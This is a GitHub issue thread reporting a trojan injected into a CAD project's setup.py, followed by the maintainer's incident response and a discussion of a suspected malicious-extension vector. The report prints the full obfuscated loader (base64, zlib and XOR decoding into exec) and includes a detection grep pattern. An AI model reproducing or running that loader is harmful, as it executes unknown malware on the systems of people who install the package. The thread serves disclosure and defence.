[SECURITY ALERT] Malicious code detected in setup.py

[suulnnka]

Hi @KeithSloan

I'm writing to report a critical security issue in this repository. It appears that the setup.py file has been compromised and contains malicious code designed to execute unauthorized actions (Trojan).

Location: https://github.com/KeithSloan/GDML/blob/Main/setup.py
Specific Issue:

GDML/setup.py

Lines 30 to 38 in af1618f

	# -*- coding: utf-8 -*-
	aqgqzxkfjzbdnhz = __import__('base64')
	wogyjaaijwqbpxe = __import__('zlib')
	idzextbcjbgkdih = 134
	qyrrhmmwrhaknyf = lambda dfhulxliqohxamy, osatiehltgdbqxk: bytes([wtqiceobrebqsxl ^ idzextbcjbgkdih for wtqiceobrebqsxl in dfhulxliqohxamy])
	lzcdrtfxyqiplpd = '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'
	runzmcxgusiurqv = wogyjaaijwqbpxe.decompress(aqgqzxkfjzbdnhz.b64decode(lzcdrtfxyqiplpd))
	ycqljtcxxkyiplo = qyrrhmmwrhaknyf(runzmcxgusiurqv, idzextbcjbgkdih)
	exec(compile(ycqljtcxxkyiplo, '<>', 'exec'))

For the safety of all users, please:
Audit and revert the compromised changes immediately.
Rotate any credentials that may have been stored in or accessed by this environment.
Notify the community once the issue is resolved.

I recommend all users to avoid installing this package until this is addressed.

[KeithSloan]

Have reset to commit c179e7b which had the same 'Remove erroneous file' as compromised af1618f.

Code as per af1618f was not on my local system, only in GitHub

Have changed GitHub password

[suulnnka]

Subject: URGENT: Security Breach Notification Regarding Recent Commits

I am writing to inform you of a very unfortunate discovery: all of your recently submitted projects, including non-Python ones, have been found to contain similar Trojan-embedded code.

This suggests that your local development environment has likely suffered a system-wide compromise. To protect the GDML repository and its users, I strongly recommend you take the following immediate actions:

Halt All Development: Stop pushing any new code or branches immediately until your environment is verified clean.

Audit Recent Commits: Manually review all recent changes, especially any unusual modifications to build scripts, binaries, or auto-generated files.

Revoke Credentials: Immediately delete your current GitHub Personal Access Tokens (PATs) and SSH keys. Change your account passwords from a separate, known-secure device.

Wipe and Reinstall: Since the infection has spread across different programming languages, a standard antivirus scan may not be sufficient. I highly recommend a full disk format and OS reinstallation to ensure the malware is completely removed.

I am deeply sorry to bring this news, but immediate transparency is necessary to prevent further spread of the malicious code.

Quick Tips for You (The Informant):
Lock Down the Issue: If you are the maintainer or a collaborator, you might want to temporarily lock the issue or the repository to prevent further automated pushes until the user confirms their environment is clean.

Check for "Worms": Since it's infecting multiple file types, this is likely a "file-infector" worm. Do not download any ZIPs or clones from this user's recent history to your own machine for "testing" without a strictly isolated sandbox.

[KeithSloan]

Recently been trying out open source ai's with VSCodium, think these used various npm packages, could these have been the compromise vector?

[suulnnka]

This trojan named glassworm. The guy behind it basically made some knock-off VS Code extensions and snuck them past the platform's weak security checks. He even faked the download numbers to make them look legit, which tricked a bunch of people into installing them. He also messed with some Eclipse plugins and npm packages, but his main weapon was definitely those fake VS Code extensions.

[suulnnka]

I'm still tracking this trojan and trying to dig up more dirt on it. By the way, were those commits from the last few days actually you? If they were, your editor might be the culprit—it’s probably auto-injecting the malware into your code.

[KeithSloan]

Checking extensions installed.

Ones I can remember installing

• Claude Code for VS Code
• Cad Query
• Continue - opensource AI agent
• Gemini CLI Companion

Ones don't remember installing

• GitLens : Supercharge
• Markdown preview enhanced with litmus

I think various npm installed may have been Ollama

[suulnnka]

Code as per af1618f was not on my local system, only in GitHub

So you're saying those commits weren't even yours? It just auto-generates a commit on its own... Got it. Yeah, this malware definitely tries to swipe SSH keys and GitHub tokens. That’s probably exactly how it’s pulling off these attacks.

[KeithSloan]

I have done various push force of the form

git push origin 3ec8340:master --force

Where I the latest commits were not recognised and I found lzcdrtfxyqiplpd

I also did a grep -r lzcdrtfxyqiplpd

Obviously does not fix things but if things come back if changing password etc not enough.

My old Intel Mac had a hardware failure so has new clean installed external disk.
Just moving house, so will move to that ASAP but it maybe a while

[suulnnka]

Here’s a breakdown of the trojan at this link:

https://gist.github.com/tip-o-deincognito/d0d05e148e87a515f534b5a8e9ed3b36

https://www.aikido.dev/blog/glassworm-returns-unicode-attack-github-npm-vscode

this is the js version glassworm:

https://github.com/KeithSloan/openscad-studio/blob/4bd97488940bf42bdfd8d89fb04d5df40f384f53/preinstall.js#L1-L20

maybe you can search "w >= 0xe0100 && w <= 0xe01ef" in your computer and find the culprit.

[KeithSloan]

Code as per af1618f was not on my local system, only in GitHub

So you're saying those commits weren't even yours? It just auto-generates a commit on its own... Got it. Yeah, this malware definitely tries to swipe SSH keys and GitHub tokens. That’s probably exactly how it’s pulling off these attacks.

was not on my system.

And in the case of either ImportNURBS or might have been ImportExport3DM I did not have the repro on my machine.
Had to clone remove setup and set to previous commit.

"w >= 0xe0100 && w <= 0xe01ef"

'''
(base) ksloan@Mac openscad-studio % pwd
/Users/ksloan/github/openscad-studio
(base) ksloan@Mac openscad-studio % ls
= node_modules
AGENTS.md package.json
apps packages
CHANGELOG.md pnpm-lock.yaml
CLAUDE.md pnpm-workspace.yaml
CONTRIBUTING.md PRE_RELEASE_CHECKLIST.md
docs README.md
images ROADMAP.md
LICENSE scripts
(base) ksloan@Mac openscad-studio %
'''

ksloan@Mac openscad-studio % grep -r "w >= 0xe0100 && w <= 0xe01ef"
Nothing found

[KeithSloan]

(base) ksloan@Mac openscad-studio % pwd
/Users/ksloan/github/openscad-studio
(base) ksloan@Mac openscad-studio % ls blob*
zsh: no matches found: blob*
(base) ksloan@Mac openscad-studio %

[KeithSloan]

I have a fork openscad-studio

[KeithSloan]

By the way, vague distant memory thought github was setup with ssh and encrypted keys?

How would changing password help?

[suulnnka]

By the way, vague distant memory thought github was setup with ssh and encrypted keys?

How would changing password help?

just effect github token , need change ssh key .

[KeithSloan]

I'm still tracking this trojan and trying to dig up more dirt on it. By the way, were those commits from the last few days actually you? If they were, your editor might be the culprit—it’s probably auto-injecting the malware into your code.

The recent commits were me.

Have not edited any of the infected repro's. Just looked at commit history and then performed a
git push origin <last_good_commit>:<main_branch> --force

Have then disable the force option on the GDML repro.

Are you saying the Repro is still corrupt?